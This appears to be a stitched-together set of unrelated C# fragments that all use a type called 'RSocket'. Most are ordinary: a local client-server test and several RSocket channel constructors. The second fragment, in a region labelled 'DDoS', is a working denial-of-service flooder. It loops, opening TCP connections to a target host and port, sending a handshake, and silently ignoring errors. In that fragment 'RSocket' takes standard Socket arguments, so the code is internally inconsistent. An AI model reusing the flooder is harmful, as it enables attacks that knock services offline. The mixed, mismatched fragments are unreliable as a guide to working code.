public void Test() { server = new RSocket(43210); client = new RSocket("127.0.0.1", 43210); server.OnRecvData = ServerRecv; client.OnRecvData = ClientRecv; Thread tick = new Thread(TickSocket); tick.Start(); string info = ""; while ((info = Console.ReadLine()).Length > 0) { client.Send(StrToBytes(info)); } isRunning = false; client.Close(); server.Close(); }
private void bw_DoWork(object indexinthreads) { #region Wait 4 init while (!this._init) { Thread.Sleep(100); } var myIndexForWork = (int)indexinthreads; #endregion #region DDoS try { var csockets = 0; while (this.IsFlooding) { while (csockets > this._msockets) { Thread.Sleep(100); } try { csockets++; var s = new RSocket( AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { NoDelay = true }; s.Connect( this.Target, this.Port); s.Shutdown(SocketShutdown.Receive); s.Send(this._handshake); s.Dispose(); csockets--; } catch (Exception) {} } } catch (Exception) {} #endregion }
public RequestFireAndForgetResponderChannel(RSocket socket, int channelId, ReadOnlySequence <byte> metadata, ReadOnlySequence <byte> data) : base(socket, channelId, metadata, data, 0, null) { }
public RequestStreamResponderChannel(RSocket socket, int channelId, ReadOnlySequence <byte> metadata, ReadOnlySequence <byte> data, int initialRequest, Channeler channeler) : base(socket, channelId, metadata, data, initialRequest, channeler) { }
public ResponderChannel(RSocket socket, int channelId, ReadOnlySequence <byte> metadata, ReadOnlySequence <byte> data, int initialRequest, Channeler channeler) : base(socket, channelId, initialRequest) { this.Metadata = metadata; this.Data = data; this._channeler = channeler; }
public RSocketService(RSocket socket) { Socket = socket; }
public RequesterChannel(RSocket socket, int channelId, IObservable <Payload> outgoing) : base(socket, channelId) { this._outgoing = Helpers.AsPublisher(outgoing); }